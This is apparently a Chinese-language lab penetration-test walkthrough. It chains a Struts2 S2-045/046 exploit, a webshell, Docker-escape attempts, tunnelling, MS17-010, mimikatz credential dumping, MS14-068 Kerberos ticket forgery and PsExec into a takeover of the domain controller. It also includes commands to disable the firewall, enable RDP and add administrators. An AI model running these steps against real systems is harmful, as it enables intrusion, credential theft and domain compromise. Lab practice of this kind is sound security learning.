由于环境冲突问题,在这里阿帕奇的服务被我关掉了
老样子,先上goby扫

这有一个phpmyadmin和一个Struts2,这里的phpmyadmin能直接访问而不需要登录


phpmyadmin一般能进后台就可以写入shell,在这里就不测了,看看这个Struts2框架有没有漏洞,找个工具扫扫

存在S2-045和S2-046
可以直接执行命令

发现这个是个docker

正常环境是不会有这个文件的
ls -alh /.dockerenv
cat /proc/1/cgroup

上个码子之后还需要docker逃逸
上个冰蝎码

连接成功,尝试docker逃逸

这里用之前的老办法行不通,得去看一下docker逃逸的所有办法
找到一个docker逃逸检测工具,试试看
https://github.com/teamssix/container-escape-check

试试CVE-2016-5195
需要编译一个.c文件,但是貌似没有gcc,目前是通网环境,可以试试安个gcc(不通网环境建议换其他的),但是我尝试了一下,源之类的有些问题,弄不了,试试在本地编译然后上传上去运行
运行不起来

试试CVE-2017-1000112
https://github.com/Metarget/metarget/blob/master/writeups_cnv/kernel-cve-2017-1000112/poc.c
好好好

CVE-2021-22555,也跑不起来(这玩意把web弄死机了,慎用)

都试不了,开始准备尝试其他的洞了,然后发现上面的问题,换一个低版本的glibc编译就好,或者直接静态编译
gcc -static -o exp exp.c
好好好,跑步不起来

make低版本用不起来,我还是去开一个centOS7虚拟机

好好好,一个都跑不起来,这工具误报率这么高
判断一下特权模式:
cat /proc/self/status | grep CapEff
一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。

无解了,基本上都docker逃逸都试过了,没思路了,去看了一下别人写的wp,全是用阿帕奇的docker逃逸的,我还是重新去给阿帕奇搭起来吧
试了一下,实在搭不起来,跟本地的服务器IP段冲突了,那就跳过docker逃逸,直接在本机运行一个漏洞web补充算了
算了,搭太麻烦了,直接ssh上去得了
ubuntu/ubuntu
搭个代理
ligolo-ng已经搭好了,具体搭建过程可以看ligolo-ng代理使用

上Fscan,扫到永恒之蓝(打靶场随便利用,实战就慎用了),kali搭个ssh隧道连到windows上来,利用ligolo-ng内网穿透访问过去(这里其实kali直接ssh隧道上靶机就行,但是我要联动ligolo-ng所以多了一道弯)

搭建ssh隧道:
测试SSH连接
ssh user@<windows_ip>
建立 SSH 隧道(本地转发)
# 全部参数
ssh -N -L 192.168.10.36:18888:192.168.10.100:8888 [email protected]
# 远程 IP 改成 localhost
ssh -N -L 192.168.10.36:18888:localhost:8888 [email protected]
# 省略本地 IP
ssh -N -L 18888:localhost:8888 [email protected]
因为有-N所以不会有回显
验证连接
telnet localhost 10555
出现:
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
则代表成功
也可以通过命令:
ps aux | grep ssh
出现
root 145755 0.0 0.1 19164 8704 pts/1 S+ 04:57 0:00 ssh -N -L 10555:localhost:17777 [email protected]
则代表ssh隧道还在

(本地转发没啥用,只是把远程端口映射到本地,当作本地端口使用)
动态转发:
动态转发:
ssh -D 1080 -N -f Administrator@<B主机_IP>
-D 1080:在 C 主机上启动一个本地 SOCKS5 代理,监听端口 1080。-N:不启动远程命令,只建立 SSH 隧道。-f:将 SSH 放入后台运行。Administrator@<B主机_IP>:登录到 Windows 主机 B 的 SSH。
配置/etc/proxychains.conf
socks5 127.0.0.1 1080
没安装可以这样安装:
sudo apt update && sudo apt install proxychains
测试:
proxychains ping 10.10.10.128
搭好隧道上fscan测测(fscan也需要使用socks5才能正常访问,但是经过socks5之后,fscan会出现流量异常的情况,事实上没有开那么多端口,不知道是不是我环境的问题,感觉socks5没那么好用)

直接上msf


获得会话,(按照之前打靶场的经验,这个会话执行不了shell,不知道是kali的proxychains的问题还是socks5的问题,反正执行shell就会掉线)

换个exp,直接去新建一个超管用户,然后RDP上去
得,执行命令的exp上不去

算了,麻烦死了,大概逻辑就是MS17-010上去新建用户RDP连上去
重复操作就不记录了,现在已经RDP上去了

传个mimikatz.exe抓个hash,MS14-068 域提权漏洞 伪造后就能登录(MS14-068漏洞利用前提是:知道域用户的账号密码,SID,域渗透漏洞利用相关可以看看AD域渗透相关,以后大概率是不会写多种方法测试了,后面的靶场大概率是所有漏洞检测过一遍,出什么洞用什么洞,就熟悉利用流程就行,实战和靶场的差距还是挺大的)
抓到了DEMO/douser Dotest123
MS14-068.exe下载地址
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PsExec64.exe下载地址
https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
获取调试权限(必须是管理员权限才能抓)
privilege::debug
抓hash
sekurlsa::logonpasswords
S-1-5-21-979886063-1111900045-1414766810-1103

利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书
MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d 10.10.10.100

利用mimikatz.exe将证书写入,从而提升为域管理员
查看当前kerberos票据列表
kerberos::list
清除kerberos票据
kerberos::purge
kerberos::ptc C:\生成的证书的位置(一般是ccache结尾)
kerberos::ptc C:\Users\ying\Desktop\123\[email protected]

验证是否成功提权:
查看域机器
net view
列出域控的C盘目录,如果成功访问则说明普通域用户提权成功
dir \\域控机器名\c$
dir \\WIN-ENS2VR5TR3N\c$


使用PSTools目录下的PsExec.exe获取shell,#psexec.exe以管理员权限运行连接域控
PsExec.exe \\机器名 cmd.exe
PsExec64.exe \\WIN-ENS2VR5TR3N cmd.exe

开启RDP:
临时关闭防火墙
netsh advfirewall set allprofiles state off
开启RDP功能
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
防火墙放通3389(这个有可能没用,建议直接临时关闭防火墙)
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
检查RDP服务状态
sc query termservice
如果服务服务没启动,可以手动启动:
net start termservice
设置用户运行RDP访问(需要添加用户名,但是不知道为什么,这里设置成功了,还是登录不进去)
net localgroup "Remote Desktop Users" DEMO\douser /add
检查并启用用户的远程桌面访问权限
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f
添加到本地管理员组(其实直接上码子就行,但是我懒得开工具了,设置为本地管理员后,就可以RDP上去了)
net localgroup Administrators "DEMO\douser" /add



成功拿下域控(实战尽量不要添加用户为管理员之类的操作,动作太大)

渗透结束
Docker逃逸漏洞
1、Docker 自身漏洞
- cve-2017-1002101
- cve-2018-1002100
- cve-2018-15664 符号链接替换漏洞
- cve-2019-14271 加载不受信任的动态链接库
- cve-2019-1002101
- cve-2019-11246
- cve-2019-11249
- cve-2019-11251
- cve-2019-16884
- cve-2019-5736 runc 逃逸
- cve-2020-15257
- cve-2020-27151
- kata-escape-2020
- cve-2021-25741
- cve-2021-30465
- cve-2022-0492
2、内核漏洞
- cve-2016-5195 DirtyCow
- cve-2017-1000112
- cve-2020-14386
- cve-2021-22555
- cve-2022-0847 DirtyPipe
3、不安全的配置
- privileged-container
- mount-docker-sock
- mount-host-etc
- mount-host-procfs
- mount-var-log
- cap_dac_read_search-container
- cap_sys_admin-container